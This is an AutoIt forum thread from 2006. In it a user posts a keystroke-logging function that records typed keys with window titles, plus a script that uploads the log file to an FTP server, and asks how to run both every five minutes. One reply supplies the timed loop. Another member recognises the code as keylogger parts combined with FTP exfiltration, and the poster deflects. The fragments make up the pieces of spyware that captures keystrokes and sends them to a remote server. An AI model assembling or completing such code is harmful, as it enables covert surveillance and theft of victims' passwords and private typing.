108Stylez Posted October 29, 2006 Share Posted October 29, 2006 (edited) Guys, I've been working a script to write something to a file and one to upload the file to FTP. Well the biggest part is done but I got one problem. It will only save the data to the file when you close the program and I need it to save it for example every 5 minutes. I don't know if I've done it good as below. Sleep(50) Func _LogKeyPress($what2log) $window=wingettitle("") if $window=$window2 Then FileWrite($file,$what2log) sleep (100) Else $window2=$window FileWrite($file, "<br><BR>" & "<b>["& @Year&"."&@mon&"."&@mday&" "&@HOUR & ":" &@MIN & ":" &@SEC & '] Window: "'& $window& '"</b><br>'& $what2log) sleep (100) Endif EndFunc FileClose($file) And the 2nd one is for making a file upload to my FTP server. I used the ftp.au3 type thing from from some person I found on this forum. I can't remember his name though. #include "FTP.au3" $server = 'myserver.ftp.org' $username = 'myusername' $pass = 'mypasss' Global $INTERNET_FLAG_PASSIVE = 0x08000000 Global $FTP_TRANSFER_TYPE_UNKNOWN = 0x00000000 Global $FTP_TRANSFER_TYPE_ASCII = 0x00000001 Global $FTP_TRANSFER_TYPE_BINARY = 0x00000002 $Open = _FTPOpen('MyFTP Control') $Conn = _FTPConnect($Open, $server, $username, $pass, 21, 1, $INTERNET_FLAG_PASSIVE) $Ftpp = _FtpPutFile($Conn, 'C:\whateverfile.xxx', 'whateverfile.xxx',$FTP_TRANSFER_TYPE_BINARY) $lasterror = DllCall("kernel32.dll","int","GetLastError") $Ftpc = _FTPClose($Open) But I need to make it so that it will only upload every 5 min. Not only when you open or close it. Thanks in advance all! Edited October 29, 2006 by 108Stylez Link to comment Share on other sites More sharing options...
jvanegmond Posted October 29, 2006 Share Posted October 29, 2006 While 1 ; PASTE CODE HERE Sleep(300000) Wend github.com/jvanegmond Link to comment Share on other sites More sharing options...
Paulie Posted October 29, 2006 Share Posted October 29, 2006 (edited) Guys, I've been working a script to write something to a file and one to upload the file to FTP. Well the biggest part is done but I got one problem. It will only save the data to the file when you close the program and I need it to save it for example every 5 minutes. I don't know if I've done it good as below. Sleep(50) Func _LogKeyPress($what2log) $window=wingettitle("") if $window=$window2 Then FileWrite($file,$what2log) sleep (100) Else $window2=$window FileWrite($file, "<br><BR>" & "<b>["& @Year&"."&@mon&"."&@mday&" "&@HOUR & ":" &@MIN & ":" &@SEC & '] Window: "'& $window& '"</b><br>'& $what2log) sleep (100) Endif EndFunc FileClose($file)For starters, I don't understand your question, and on another note, I am leary of what its is you are trying to do with that first code, I know that I've seen that '_LogKeyPress()' function and '$what2log' variable name before. EDIT: Found it... _IsPressed Function Notice the function at the bottom of the first code in that link... '_LogKeyPress()' Oh, and what a coincidence, you want an FTP mailer too? So you can key log somebody and have it FTP you the log every 5 minutes? Am i the only one who finds this suspicious? Edited October 29, 2006 by Paulie Link to comment Share on other sites More sharing options...
108Stylez Posted October 29, 2006 Author Share Posted October 29, 2006 Why do this always sound so keylogging like? And there isn't a way to make an effecient keylogger in AutoIt either. It will either use up too much CPU while being on games and stuff and it will miss alot of things if you type fast.So basiccly: CRAP Link to comment Share on other sites More sharing options...
Richard Robertson Posted October 29, 2006 Share Posted October 29, 2006 You can use FileWrite alone instead of FileOpen and FileClose with it. Then it will always write the results. Maybe AutoIt needs a FileFlush method? Link to comment Share on other sites More sharing options...
Paulie Posted October 29, 2006 Share Posted October 29, 2006 (edited) And there isn't a way to make an effecient keylogger in AutoIt either.First of all, thats not true. But that does indicate that you have tried...Second of all, It 'sounds so keylogging like' because you took the function straight from a keylogger that you found, and are trying to implement an automatic FTP transfer. I dunno about anyone else, but thats sounds like a malicious code combination in the makings. Edited October 29, 2006 by Paulie Link to comment Share on other sites More sharing options...
Uten Posted October 29, 2006 Share Posted October 29, 2006 It also sounds like someone whom has not done their home work. Please keep your sig. small! Use the help file. Search the forum. Then ask unresolved questions :) Script plugin demo, Simple Trace udf, TrayMenuEx udf, IOChatter demo, freebasic multithreaded dll sample, PostMessage, Aspell, Code profiling Link to comment Share on other sites More sharing options...
Recommended Posts
Create an account or sign in to comment
You need to be a member in order to leave a comment
Create an account
Sign up for a new account in our community. It's easy!
Register a new accountSign in
Already have an account? Sign in here.
Sign In Now